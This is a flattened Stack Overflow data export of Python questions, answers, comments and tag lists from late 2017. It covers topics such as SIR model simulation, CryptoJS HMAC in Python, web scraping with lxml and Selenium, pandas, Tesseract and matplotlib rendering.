has body: So the solution above worked for the SIS model as well. As for the SIR model I had to solve differential equations using odeint, here is a simple solution to the SIR model: import matplotlib.pylab as plt from scipy.integrate import odeint import numpy as np N = 1000 S = N - 1 I = 1 R = 0 beta = 0.6 # infection rate gamma = 0.2 # recovery rate # differential equatinons def diff(sir, t): # sir[0] - S, sir[1] - I, sir[2] - R dsdt = - (beta * sir[0] * sir[1])/N didt = (beta * sir[0] * sir[1])/N - gamma * sir[1] drdt = gamma * sir[1] print (dsdt + didt + drdt) dsirdt = [dsdt, didt, drdt] return dsirdt # initial conditions sir0 = (S, I, R) # time points t = np.linspace(0, 100) # solve ODE # the parameters are, the equations, initial conditions, # and time steps (between 0 and 100) sir = odeint(diff, sir0, t) plt.plot(t, sir[:, 0], label='S(t)') plt.plot(t, sir[:, 1], label='I(t)') plt.plot(t, sir[:, 2], label='R(t)') plt.legend() plt.xlabel('T') plt.ylabel('N') # use scientific notation plt.ticklabel_format(style='sci', axis='y', scilimits=(0,0)) plt.show()
answers question: http://stackoverflow.com/q/47366712

http://stackoverflow.com/a/47379290
has body: For the above example , assuming we have html_string containing the above snippet. import requests import lxml.etree as LH html_string = LH.fromstring(requests.get('http://openquestions.com').text) for quoted_link in html_string.xpath('//a'): print(quoted_link.attrib['href'], quoted_link.text_content())
has comment: http://stackoverflow.com/comment/81716750
type: Answer
answers question: http://stackoverflow.com/q/47379112
score: 0

http://stackoverflow.com/tag/json
tags question: http://stackoverflow.com/q/47327604
tags question: http://stackoverflow.com/q/47300353
tags question: http://stackoverflow.com/q/47335137
tags question: http://stackoverflow.com/q/47337948
tags question: http://stackoverflow.com/q/47339747
tags question: http://stackoverflow.com/q/47241709
tags question: http://stackoverflow.com/q/47233042
tags question: http://stackoverflow.com/q/47374129
tags question: http://stackoverflow.com/q/47224017
tags question: http://stackoverflow.com/q/47370007
tags question: http://stackoverflow.com/q/47305065
tags question: http://stackoverflow.com/q/47277649
tags question: http://stackoverflow.com/q/47230307
tags question: http://stackoverflow.com/q/47274960
tags question: http://stackoverflow.com/q/47358215
tags question: http://stackoverflow.com/q/47350412
tags question: http://stackoverflow.com/q/47255244
tags question: http://stackoverflow.com/q/47331031
tags question: http://stackoverflow.com/q/47272003
tags question: http://stackoverflow.com/q/47312554
tags question: http://stackoverflow.com/q/47241743
tag name: json
tags question: http://stackoverflow.com/q/47239444
tags question: http://stackoverflow.com/q/47234354
tags question: http://stackoverflow.com/q/47341949
tags question: http://stackoverflow.com/q/47259540
tags question: http://stackoverflow.com/q/47242006
tags question: http://stackoverflow.com/q/47288980
tags question: http://stackoverflow.com/q/47333267
tags question: http://stackoverflow.com/q/47270054
tags question: http://stackoverflow.com/q/47365546
tags question: http://stackoverflow.com/q/47341519
tags question: http://stackoverflow.com/q/47381900
tags question: http://stackoverflow.com/q/47278990
tags question: http://stackoverflow.com/q/47335255
tags question: http://stackoverflow.com/q/47370475
tags question: http://stackoverflow.com/q/47227425
tags question: http://stackoverflow.com/q/47336301
tags question: http://stackoverflow.com/q/47299464
tags question: http://stackoverflow.com/q/47232624
tags question: http://stackoverflow.com/q/47356653
tags question: http://stackoverflow.com/q/47251120
tags question: http://stackoverflow.com/q/47287518
tags question: http://stackoverflow.com/q/47250659
tags question: http://stackoverflow.com/q/47377898
tags question: http://stackoverflow.com/q/47334968
tags question: http://stackoverflow.com/q/47337504
tags question: http://stackoverflow.com/q/47321970
tags question: http://stackoverflow.com/q/47251514
tags question: http://stackoverflow.com/q/47306581
tags question: http://stackoverflow.com/q/47318357
tags question: http://stackoverflow.com/q/47303710
tags question: http://stackoverflow.com/q/47374559
tags question: http://stackoverflow.com/q/47329124
tags question: http://stackoverflow.com/q/47302018
tags question: http://stackoverflow.com/q/47256752
tags question: http://stackoverflow.com/q/47358757
tags question: http://stackoverflow.com/q/47293558
tags question: http://stackoverflow.com/q/47283662
tags question: http://stackoverflow.com/q/47308984
tags question: http://stackoverflow.com/q/47242845
tags question: http://stackoverflow.com/q/47328684
tags question: http://stackoverflow.com/q/47295241
tags question: http://stackoverflow.com/q/47334088
tags question: http://stackoverflow.com/q/47341000
tags question: http://stackoverflow.com/q/47274557
tags question: http://stackoverflow.com/q/47337634
type: Tag
tags question: http://stackoverflow.com/q/47254082
tags question: http://stackoverflow.com/q/47344810
tags question: http://stackoverflow.com/q/47304837
tags question: http://stackoverflow.com/q/47371848
tags question: http://stackoverflow.com/q/47276152
tags question: http://stackoverflow.com/q/47319591
tags question: http://stackoverflow.com/q/47343245
tags question: http://stackoverflow.com/q/47379158
tags question: http://stackoverflow.com/q/47363328
tags question: http://stackoverflow.com/q/47278408
tags question: http://stackoverflow.com/q/47309117
tags question: http://stackoverflow.com/q/47231898

http://stackoverflow.com/q/47307282
has comment: http://stackoverflow.com/comment/81565519
score: 2
upvote count: 2
type: AnsweredQuestion
downvote count: 0
answer count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47308168
has body: CryptoJS encrypted string can pass different parameters in python can only pass a string? How to implement the second CryptoJS implementation in python ,how to get clientKey2,This will only give the first result.Thanks! &gt; saltedPassword=CryptoJS.PBKDF2("key", "salt", {keySize: 8,iterations:500,hasher: CryptoJS.algo.SHA256}); &gt; clientKey1=CryptoJS.HmacSHA256(saltedPassword.toString(), "Client Key") &gt; clientKey2=CryptoJS.HmacSHA256(saltedPassword, "Client Key") &gt; clientKey1.toString() &gt; "857ef8988876a3bb6bcadb85ca257787074e73e830d7dc14c1f838ba46aef1f5" &gt; clientKey2.toString() &gt; "9a8574da9b276ee1162dcb92071df587f4513bc03060bda1e9b3897d46233416" &gt; saltedPassword.toString() &gt; "6e441ccd26e6b35198b4b17457dc0266d36b751d0062b5850b0e302ceb1d6dcc" i use this way can get clientKey1, import hashlib import hmac def HmacSHA256(k,v): message = bytes(k).encode('utf-8') secret = bytes(v).encode('utf-8') signature = hmac.new(secret, message, digestmod=hashlib.sha256).hexdigest() return signature signature = HmacSHA256("6e441ccd26e6b35198b4b17457dc0266d36b751d0062b5850b0e302ceb1d6dcc","Client Key") print signature How to get the second result in Python,Thanks!
has answer: http://stackoverflow.com/a/47308168
tagged with: python
tagged with: hmac
tagged with: cryptojs
has title: CryptoJS HmacSHA256 Encryption results differ from Python

http://stackoverflow.com/comment/81769548
type: Comment
type: AnswerComment
has text: Refer the doc https://docs.python.org/2/library/time.html. Read it first fully and then come back if you have any issue
comment on: http://stackoverflow.com/a/47279088
score: 0

http://stackoverflow.com/a/47340088
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47339782
type: Answer
has body: Since knowing where to break your line depends on how long a word is, you won't be able to do this by treating T as just a sequence of characters unless you want to backtrack (what if you're halfway through a word and you run out of space?). I would instead split up T into a list of words and then just run through them: lines = [] line = '' for word in T.split(' '): if len(word) + len(line) &lt;= L: # we can add the word onto the end of the current line else: # the word flows past the end of the current line, start a new one Note that your expected output doesn't wrap on column 30, it looks to wrap on column 25. Otherwise, line 3 would be 26 characters long and contain: prosuere, risus non mollis An alternative solution would be to find the breaking point by using the limit arguments to str.rfind and just iteratively breaking down text using that: while T: # If T is already short, we don't have to worry about breaking it up if len(T) &lt;= L: line = T T = '' else: # Find the rightmost space in the T that occurs before column L furthest_space = T.rindex(' ', 0, L) # Now you can figure out the next line from the position of the # furthest space and cut that part off of your T ... print(line)
answers question: http://stackoverflow.com/q/47339782
score: 2
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/81623239
comment on: http://stackoverflow.com/q/47335544
has text: Sorry, I modified it to what I wanted. I want the numbers ordered throughout. Thanks!
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/a/47330999
has body: This would build a dict for you: from BeautifulSoup import BeautifulSoup valid_headers = ['brand', 'type', 'contents', 'flavoring'] t = """ Brand 2 Guys Smoke Shop Blend Type Aromatic Contents Black Cavendish, Virginia Flavoring Other / Misc """ bs = BeautifulSoup(t) results = {} for row in bs.findAll('tr'): hea = row.findAll('th') if hea.strip().lstrip().lower() in valid_headers: val = row.findAll('td') results[hea[0].string] = val[0].string print results
answers question: http://stackoverflow.com/q/47330735
downvote count: 0
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/comment/81670217
has text: @RyandeKleer They can pass a custom separator if they want `Wrapper(user, sep='_')`, why not...
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47358323
score: 0

nested
tags question: http://stackoverflow.com/q/47273509
tags question: http://stackoverflow.com/q/47375005
tags question: http://stackoverflow.com/q/47344495
tags question: http://stackoverflow.com/q/47269286
tag name: nested
type: Tag
tags question: http://stackoverflow.com/q/47273318
tags question: http://stackoverflow.com/q/47225724
tags question: http://stackoverflow.com/q/47261079
tags question: http://stackoverflow.com/q/47314786
tags question: http://stackoverflow.com/q/47357965
tags question: http://stackoverflow.com/q/47302382
tags question: http://stackoverflow.com/q/47225864
tags question: http://stackoverflow.com/q/47342442

http://stackoverflow.com/comment/81435794
score: 0
type: Comment
type: QuestionComment
has text: @ImportanceOfBeingErnest I will, just give me a bit of time to make it both understandable and not too long, because my program is full of functions refering other functions.
comment on: http://stackoverflow.com/q/47239818

http://stackoverflow.com/a/47237224
answers question: http://stackoverflow.com/q/47237151
type: Answer
has body: You can do by: check your random numbers in order to not be the same so your monsters will be different. if an random number repeated again do next random number. and also if you want to different them in some ways it's better to make a monster details class then if they were repeated then change some parameters on there for each monster .
accepted answer of: http://stackoverflow.com/q/47237151
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/a/47310231
has comment: http://stackoverflow.com/comment/81605649
has comment: http://stackoverflow.com/comment/81599762
score: 0
answers question: http://stackoverflow.com/q/47310066
type: Answer
has body: I believe what you want to achieve is to register a custom command with your script, right? To do this, you use aliases: $ alias mapit="python3 ...\mapit.py" put the real path to the mapit.py instead of '...\mapit.py' Then you can use the alias as a command: $ mapit "New York"

http://stackoverflow.com/comment/81429860
comment on: http://stackoverflow.com/q/47239716
type: QuestionComment
has text: i think you are getting merged final csv ,you only want to have email column in the merged csv right
score: 0
type: Comment

http://stackoverflow.com/comment/81700612
type: QuestionComment
has text: So you want every instance of `MyClass` to have unique values in `valuedict`? You need to add `def __init__(self):` method to your class and specify them as instance attributes e.g. `self.valuedict = {}`. It's worth reading some tutorials on OOP.
type: Comment
comment on: http://stackoverflow.com/q/47374041
score: 2

http://stackoverflow.com/a/60403884
score: 1
answers question: http://stackoverflow.com/q/47238946
type: Answer
has body: I just try to remove all first comment block in all jquery css file, and it works well. Thanks.
upvote count: 1
downvote count: 0

http://stackoverflow.com/comment/81459218
type: QuestionComment
comment on: http://stackoverflow.com/q/47254311
score: 0
type: Comment
has text: There seem to be no packages matching that, because it shows not a single line of output.

http://stackoverflow.com/q/47282550
answer count: 5
has comment: http://stackoverflow.com/comment/81515517
has answer: http://stackoverflow.com/a/47282720
has title: How to evaluate multiple expression in if--elif statement in python?
tagged with: python
has answer: http://stackoverflow.com/a/47284285
has answer: http://stackoverflow.com/a/47283424
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81515597
has body: How to evaluate multiple expression in if--elif in below code snipet. I am sure its basic syntax issue n=5 if n%2 != 0: print ("weird") elif n%2 == 0 &amp;&amp; 2 &lt; n &amp;&amp; n &lt;5: print "Not Weird" elif n%2 == 0 &amp;&amp; 6 &lt; n &amp;&amp; n &lt; 20: print "Weird" elif n%2 == 0 &amp;&amp; n &gt;20: print "NOt Weird"
has answer: http://stackoverflow.com/a/47282880
has comment: http://stackoverflow.com/comment/81515470
has answer: http://stackoverflow.com/a/47282922
score: 0
has comment: http://stackoverflow.com/comment/81515444
tagged with: if-statement

http://stackoverflow.com/a/47281770
type: Answer
answers question: http://stackoverflow.com/q/47281338
has body: Some advice: 1，Using python 2 instead of python 3. 2,When calculating large numbers， Using "xrange" instead of "range"; Using "ifilter" instead of "filter". 3,If you use iterative algorithms, try to use "yield".
has comment: http://stackoverflow.com/comment/81513773
downvote count: 4
has comment: http://stackoverflow.com/comment/81555622
has comment: http://stackoverflow.com/comment/81514208
upvote count: 0
score: -4
has comment: http://stackoverflow.com/comment/81514246
has comment: http://stackoverflow.com/comment/81513803
has comment: http://stackoverflow.com/comment/81513972

http://stackoverflow.com/q/47239000
has comment: http://stackoverflow.com/comment/81428100
tagged with: binary-search-tree
answer count: 0
has title: Python BST Nonetype and Type-error
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81428508
has body: Hi I am doing a python assignment on binary search trees however I am getting a few errors thats hampering my progress! The bst is to implement a movie library alphabetically! My add movie works as shown however I am getting some issues. First of all I have a class for the movie tuple and a class for the BSTNode. My lecturer wants us to not explicitly set a root node! so my first issue is with the test function he has given us ! In order to develop and test your code, you will need to create some trees, so I advise you to start by implementing the add(self, movie) method. The file includes a simple class method _testadd(), which you invoke by typing BSTNode._testadd() on the IDLE command line. Make sure you understand what tree should be created, and then test your code by running this method. However When I run the code like he says I get an error : Traceback (most recent call last): File "&lt;pyshell#5&gt;", line 1, in &lt;module&gt; node._testadd() TypeError: _testadd() missing 1 required positional argument: 'self' And this is my test function - def _testadd(self): node = BSTNode(Movie(("Memento", "11/10/2000", 113, "Released", 15.45, 8.1, 4168))) node._print_structure() print('&gt; adding Melvin and Howard') node.add(Movie(("Melvin and Howard", "19/09/1980", 95, "Released", 6.737, 6.8, 18))) node._print_structure() print('&gt; adding a second version of Melvin and Howard') node.add(Movie(("Melvin and Howard", "21/03/2007", 112, "Released", 4.321, 3.5, 7))) node._print_structure() print('&gt; adding Mellow Mud') node.add(Movie(("Mellow Mud", "21/09/2016", 92, "Released", 9.321, 9.5, 7001))) node._print_structure() print('&gt; adding Melody') node.add(Movie(("Melody", "21/03/2007", 113, "Released", 5.321, 3.5, 7))) node._print_structure() print("adding zeta") node.add(Movie(("zeta", "21/03/2007", 113, "Released", 5.321, 3.5, 7))) node._print_structure() return node If I set up a node outside of the function and then run the test_add function it adds the data corr…
has comment: http://stackoverflow.com/comment/81428331
type: Question
score: 0
linked to: http://stackoverflow.com/q/735975
has comment: http://stackoverflow.com/comment/81428389
tagged with: algorithm
has comment: http://stackoverflow.com/comment/81428475
linked to: http://stackoverflow.com/q/5892619
tagged with: python
has comment: http://stackoverflow.com/comment/81428356

http://stackoverflow.com/a/47310501
type: Answer
has body: Just use regexp. re.sub(r"\b\d+\b", "", input) match any digit between word boundaries Or to avoid double spaces: re.sub(r"\s\d+\s", " ", input)
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81571634
has comment: http://stackoverflow.com/comment/81571757
score: 1
answers question: http://stackoverflow.com/q/47310379

http://stackoverflow.com/comment/81675788
comment on: http://stackoverflow.com/q/47361342
score: 0
type: QuestionComment
has text: Barmar is correct, your connection tools handle the transactions and in fact, generally won't actually commit until told to (roll back is automatic). Get rid of any references to transactions in your execution -- use the tool.
type: Comment

http://stackoverflow.com/q/47360002
has comment: http://stackoverflow.com/comment/81673632
has body: I am doing some machine learning and I need to combine my train and testing set to ensure I treat them the same but I am unable to do this in a simple way and get them back. #combine data sets df = pd.concat([df_train,df_test],keys=['train','test']) #This is where I would do stuff but for testing I don't #reextract original train=df.loc['train',:] test=df.loc['test',:] #check for equality df_train.equals(train) This returns false and I can't sort out why. df_train and train have the same shape. I have tried to run df_train = df_train.fillna(0) df_test = df_test.fillna(0) before to make sure it is not an issue with nulls EDIT The function concat changed the type of a column from int to float. Not sure why but now that I know why my assert Statement fails I can safely run the code. If there is a better method for doing this I would accept an answer with that. For the curios, the reason I need to combine my data sets is so that I can scale and manipulate my data without the possibility of bias to the train or test set.
answer count: 0
tagged with: concatenation
tagged with: pandas
has comment: http://stackoverflow.com/comment/81674000
has comment: http://stackoverflow.com/comment/81673356
has title: Undoing concat of dataframes in pandas
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/81674199
type: Question
has comment: http://stackoverflow.com/comment/81673698
has comment: http://stackoverflow.com/comment/81674377
has comment: http://stackoverflow.com/comment/81673223
has comment: http://stackoverflow.com/comment/81673918
upvote count: 2
type: UnansweredQuestion
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/81672928
has comment: http://stackoverflow.com/comment/81672926
tagged with: indexing
score: 2

http://stackoverflow.com/comment/81451715
comment on: http://stackoverflow.com/q/47250738
score: 0
has text: `value for key, value in dict.items()` maybe?! is this code copy from some where else?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47277066
tagged with: tesseract
has comment: http://stackoverflow.com/comment/81505168
has body: I am having a problem with my project using Python 3 and Pytesseract. I want to recognize text from image but my code not work. I'm so sorry because my English not good. But I really need yours help! Here is my code: import pytesseract from PIL import Image print (pytesseract.image_to_string(Image.open('cc.jpg'))) And here is my problems: C:\Python\python.exe C:/Users/Tam/Desktop/Test/test2.py Traceback (most recent call last): File "C:/Users/Tam/Desktop/Test/test2.py", line 3, in &lt;module&gt; print (pytesseract.image_to_string(Image.open('cc.jpg'))) File "C:\Python\lib\site-packages\pytesseract\pytesseract.py", line 122, in image_to_string config=config) File "C:\Python\lib\site-packages\pytesseract\pytesseract.py", line 46, in run_tesseract proc = subprocess.Popen(command, stderr=subprocess.PIPE) File "C:\Python\lib\subprocess.py", line 709, in __init__ restore_signals, start_new_session) File "C:\Python\lib\subprocess.py", line 997, in _execute_child startupinfo) FileNotFoundError: [WinError 2] The system cannot find the file specified Process finished with exit code 1 I don't understand what's wrong!
has comment: http://stackoverflow.com/comment/81505514
linked to: http://stackoverflow.com/q/44821838
has comment: http://stackoverflow.com/comment/81505498
has comment: http://stackoverflow.com/comment/81505346
tagged with: python
has comment: http://stackoverflow.com/comment/81507134
has comment: http://stackoverflow.com/comment/81519416
has comment: http://stackoverflow.com/comment/81514712
has comment: http://stackoverflow.com/comment/81505597
has comment: http://stackoverflow.com/comment/81505473
has comment: http://stackoverflow.com/comment/81505462
tagged with: ocr
type: Question
tagged with: python-tesseract
has comment: http://stackoverflow.com/comment/81505645
answer count: 0
has title: FileNotFoundError working with Tesseract OCR and python 3.6
downvote count: 0
has comment: http://stackoverflow.com/comment/81506009
upvote count: 1
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/81514768
has comment: http://stackoverflow.com/comment/81505359
favorite count: 0
has comment: http://stackoverflow.com/comment/81505354

http://stackoverflow.com/comment/81427122
comment on: http://stackoverflow.com/a/47238052
score: 0
type: Comment
has text: Ahhh. So is jupyter running on the coursera servers? That might be the root of your problem.
type: AnswerComment

http://stackoverflow.com/comment/81459308
has text: right now 20mb/s and i will have 100mb/s soon. and about the speed, i dont care if it will take a 24 hours to complete the task, right now it will take more than 2 months. Let me worry about the ip block.. right now this is my priority :)
comment on: http://stackoverflow.com/q/47253730
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81526408
score: 0
comment on: http://stackoverflow.com/q/47288025
type: Comment
type: QuestionComment
has text: look at [`pandas.read_csv()`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html), which is a very powerful and versatile reader.

http://stackoverflow.com/a/47329042
downvote count: 1
score: 3
answers question: http://stackoverflow.com/q/47328647
type: Answer
has comment: http://stackoverflow.com/comment/81609274
has body: Your list_links works only on page where it was defined. After you made first click on link DOM re-created and references to elements of list_links becomes invalid. You can apply below solution: driver.implicitly_wait(10) # seconds list_links = [link.get_attribute('href') for link in driver.find_elements_by_xpath("//a[contains(@href,'activities')]")] for link in list_links: print(link) driver.get(link) driver.goback() driver.quit() P.S. I assume that goback() is your custom method that was defined already as there is no such method in Selenium built-ins, but just back() P.P.S. Note that you can call driver.implicitly_wait(10) only once in your code and it will be applicable for all next find_element...() calls
upvote count: 4
has comment: http://stackoverflow.com/comment/81609019
has comment: http://stackoverflow.com/comment/81609443

http://stackoverflow.com/comment/81505537
comment on: http://stackoverflow.com/a/47276767
has text: yeah good thinking, I thought of just saving it and having the html page refreshing it every given time. The script can just run in loop and that should do the job for now
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47238570
type: Answer
score: 2
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47238292
has body: Correct selector for div with user data is: containers = page_soup.findAll("div", {"class": "profile"}) first_container = containers[0] But this fragment of DOM is rendered by call of javascript method getuserprofile, so you can't retrieve it using beatifulsoup, because it returns: &lt;div class="col-2 profile" id="ctl00_ctl00_ContentPlaceHolderFooter_ContentPlaceHolderBody_rptreviews_ctl00_divProfile"&gt;&lt;script&gt; getuserprofile(1318536,8393808,0,1,0,'','ctl00_ctl00_ContentPlaceHolderFooter_ContentPlaceHolderBody_rptreviews_ctl00_divProfile',3,'ctl00_ctl00_ContentPlaceHolderFooter_ContentPlaceHolderBody_rptreviews_ctl00_spnview','ctl00_ctl00_ContentPlaceHolderFooter_ContentPlaceHolderBody_rptreviews_ctl00_smdatetime') &lt;/script&gt;&lt;/div&gt;
has comment: http://stackoverflow.com/comment/81616462

http://stackoverflow.com/comment/81584395
type: Comment
type: QuestionComment
score: 0
has text: Just a comment: Try to write functions that don't print anything. You'll never be able to write unit tests that show that they print correctly.
comment on: http://stackoverflow.com/q/47316575

http://stackoverflow.com/q/47296197
has comment: http://stackoverflow.com/comment/81545116
answer count: 0
tagged with: gpu
has comment: http://stackoverflow.com/comment/81545286
has comment: http://stackoverflow.com/comment/81545206
has title: keras with tensorflow on GPU machine - some parts are very slow
tagged with: keras
tagged with: tensorflow
favorite count: 0
has comment: http://stackoverflow.com/comment/81568658
type: Question
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81568580
has body: I'm trying to train a model using keras \ tensorflow (1.4) on a p3.2xlarge aws machine (which has a NVIDIA Tesla V100 GPU) two parts of the initialisation are very slow when using a GPU, but run in a reasonable time on CPU The first part is "calling" an embedding layer during model setup network = embedding(input) this embedding layer is used several times, but only the 1st time is slow it appears that this is the phase that the weights are copied to the GPU, and it takes a few minuets (~5) for a 400000 * 200 weight matrix the second long part is the call to train_on_batch for the first batch (it takes about 20 minutes) not sure it's relevant, but according to this post, it might be related to using a custom layer are there any ways to speed up these parts? EDIT These parts aren't slow when running the same code on a p2.xlarge aws machine (which has a Tesla K80 GPU)
downvote count: 0
tagged with: python
score: 2

http://stackoverflow.com/q/47377290
has answer: http://stackoverflow.com/a/47377291
answer count: 1
type: Question
score: 0
tagged with: python-3.x
has title: Suppresing "Redefining built-in ..." pylint warning
tagged with: pylint
tagged with: python
has body: When using Python2/3 compatibility imports, such as from builtins import bytes pylint issues warnings: Redefining built-in 'bytes' (redefined-builtin) How to suppress them for the builtins module?
type: UnansweredQuestion

http://stackoverflow.com/comment/81571757
comment on: http://stackoverflow.com/a/47310501
type: AnswerComment
score: 0
has text: Edited with a solution
type: Comment

http://stackoverflow.com/q/47306954
tagged with: python
has title: Error while installing package thats need XGBOOST
answer count: 0
has comment: http://stackoverflow.com/comment/81575734
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81583801
downvote count: 0
upvote count: 1
tagged with: xgboost
favorite count: 0
type: Question
tagged with: anaconda
score: 1
has body: I am trying to install the "MLBox" python package on anaconda (Python 3.6). This package needs "xgboost" so I download the wheel file from this link and I did a pip install wheel-file. I had no issue with it. But when I use the pip install for installing "mlbox" I have this error: Collecting pandas==0.20.3 (from mlbox) Using cached pandas-0.20.3-cp36-cp36m-win_amd64.whl Requirement already satisfied: joblib==0.11 in c:\users\amira ayadi\anaconda3\lib\site-packages (from mlbox) Collecting scikit-learn==0.19.0 (from mlbox) Using cached scikit_learn-0.19.0-cp36-cp36m-win_amd64.whl Requirement already satisfied: Theano==0.9.0 in c:\users\amira ayadi\anaconda3\lib\site-packages (from mlbox) Collecting xgboost==0.6a2 (from mlbox) Using cached xgboost-0.6a2.tar.gz No files/directories in C:\Users\AMIRAA~1\AppData\Local\Temp\pip-build-6ytmh20a\xgboost\pip-egg-info (from PKG-INFO) I also tired to install xgboost with anaconda solution (https://anaconda.org/anaconda/py-xgboost) But same error. Do you have some ideas? I am on Windows 10

http://stackoverflow.com/q/47376702
has comment: http://stackoverflow.com/comment/81705562
has comment: http://stackoverflow.com/comment/81706115
tagged with: numpy
has comment: http://stackoverflow.com/comment/81706529
score: 0
tagged with: generator-expression
tagged with: function
has body: I was wondering if there is a pythonic way to apply a function several times where the all last results are the input again using a list comprehension or generator expression instead of a for loop like this? import numpy as np def func(x, s): return (5+sum(x))**(-1.06)/s y = np.array([]) for i in range(5): y = np.append(y, func(y[:i], s=i+1)) EDIT: Unfortunately, itertools.accumulate seems to only consider the last, but not all last results. Any further ideas?
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/81705518
has comment: http://stackoverflow.com/comment/81705556
has comment: http://stackoverflow.com/comment/81708245
has answer: http://stackoverflow.com/a/47390341
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81705647
tagged with: python
tagged with: list-comprehension
has title: Apply function n times using all previous results

http://stackoverflow.com/a/47313099
has body: You are counting the nodes twice. You should only be counting each node once. def size(self): size = 0 if self != None: size += 1 if self._leftchild != None: size += self._leftchild.size() if self._rightchild != None: size += self._rightchild.size() return size
score: 1
downvote count: 0
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47312815

http://stackoverflow.com/q/47350672
upvote count: 1
has title: TypeError: byte indices must be integers
has comment: http://stackoverflow.com/comment/81653350
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47350869
score: 1
answer count: 1
tagged with: python
type: Question
has answer: http://stackoverflow.com/a/47350869
has comment: http://stackoverflow.com/comment/81653720
has comment: http://stackoverflow.com/comment/81653730
downvote count: 0
has body: I want to get the top artists from a specific country from the last fm API in JSON and save the name and url in the name and url variables. But it always appears "TypeError: byte indices must be integers". Do you know where is the issue? Working example: import requests api_key = "xxx" for i in range(2,5): artists = requests.get('http://ws.audioscrobbler.com/2.0/?method=geo.gettopartists&amp;country=spain&amp;format=json&amp;page='+str(i)+'&amp;api_key='+api_key) for artist in artists: print(artist) #name = artist['topartists']['artist']['name'] #url = artist['topartists']['artist']['url']
has comment: http://stackoverflow.com/comment/81653332

http://stackoverflow.com/q/47253462
upvote count: 11
score: 11
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47296556
has answer: http://stackoverflow.com/a/47850541
answer count: 3
downvote count: 0
tagged with: unicode
has comment: http://stackoverflow.com/comment/81458847
favorite count: 0
type: Question
tagged with: latex
has answer: http://stackoverflow.com/a/47296556
has comment: http://stackoverflow.com/comment/81459075
tagged with: matplotlib
has title: Matplotlib mathtext: Glyph errors in tick labels
has comment: http://stackoverflow.com/comment/81457571
has answer: http://stackoverflow.com/a/59992777
tagged with: python
tagged with: text-rendering
accepted answer: http://stackoverflow.com/a/47850541
has body: I've observed errors when rendering math in matplotlib 2.0.2, when using the default mathtext as opposed to the LaTeX math rendering engine. It seems that some glyphs (in my case the minus and the multiplication sign) is not recognized by mathtext. What makes it really weird is that the error only occurs when these particular glyphs appear in tick labels. When I deliberately type some mathy expression into e.g. the figure title, it works fine. Consider the below example and the resultant image: import matplotlib import matplotlib.pyplot as plt # Customize matplotlib matplotlib.rcParams.update({# Use mathtext, not LaTeX 'text.usetex': False, # Use the Computer modern font 'font.family': 'serif', 'font.serif': 'cmr10', 'mathtext.fontset': 'cm', }) # Plot plt.semilogy([-0.03, 0.05], [0.3, 0.05]) plt.title(r'$-6\times 10^{-2}$') plt.savefig('test.png') As seen on the image, multiplication and some minus signs in the tick labels have been replaced with other characters. If I use LaTeX (by setting 'text.usetex' to True), everything renders nicely. Why does this happen, and more importantly, how can I fix it without changing from mathtext to LaTeX? Additional information This is the warning which gets printed when running the example code: mathtext.py:866: MathTextWarning: Font 'default' does not have a glyph for '\times' [U+d7] MathTextWarning) mathtext.py:867: MathTextWarning: Substituting with a dummy symbol. warn("Substituting with a dummy symbol.", MathTextWarning) Note that the minus signs appearing in exponents get rendered correctly. These also do not render probably if I leave out 'mathtext.fontset': 'cm', producing another, similar warning: mathtext.py:866: MathTextWarning: Font 'default' does not have a glyph for '-' [U+2212] MathTextWarning) mathtext.py:867: MathTextWarning: Substituting with a dummy symbol. warn("Substituting with a dummy symbol.", MathTextWarning) Also, if I include 'axes.unicode_minus': False in the rcParams (and keep 'mathtext.fontset': 'cm…

http://stackoverflow.com/a/47305259
has body: Simply use np.linalg.norm on the differences - mse = np.linalg.norm(img1-img2,axis=2) Faster one with np.einsum - d = (img1-img2).astype(float) mse = np.sqrt(np.einsum('...i,...i-&gt;...',d,d)) Runtime test - In [46]: np.random.seed(0) ...: m,n = 1024,1024 ...: img1 = np.random.randint(0,255,(m,n,3)).astype(np.uint8) ...: img2 = np.random.randint(0,255,(m,n,3)).astype(np.uint8) In [47]: %timeit np.linalg.norm(img1-img2,axis=2) 10 loops, best of 3: 26.6 ms per loop In [49]: %%timeit ...: d = (img1-img2).astype(float) ...: mse = np.sqrt(np.einsum('...i,...i-&gt;...',d,d)) 100 loops, best of 3: 13 ms per loop To create an output array that is set to black for pixels that have MSE values lesser than a certain threshold mse_thresh and select from img2 otherwise, here are the additional codes - mask = mse &gt;= mse_thresh out = np.where(mask[...,None], img2, 0) Stitching everything together - Using einsum to compute squared MSE values and comparing against the squared MSE threshold for major improvement and assigning back the output into img2 - d = (img1-img2).astype(float) mse = np.einsum('...i,...i-&gt;...',d,d) img2[mse &lt; mse_thresh**2] = 0
has comment: http://stackoverflow.com/comment/81576572
has comment: http://stackoverflow.com/comment/81572637
has comment: http://stackoverflow.com/comment/81561723
type: Answer
has comment: http://stackoverflow.com/comment/81561797
has comment: http://stackoverflow.com/comment/81576310
has comment: http://stackoverflow.com/comment/81562156
answers question: http://stackoverflow.com/q/47305174
has comment: http://stackoverflow.com/comment/81561838
upvote count: 5
has comment: http://stackoverflow.com/comment/81574800
score: 5
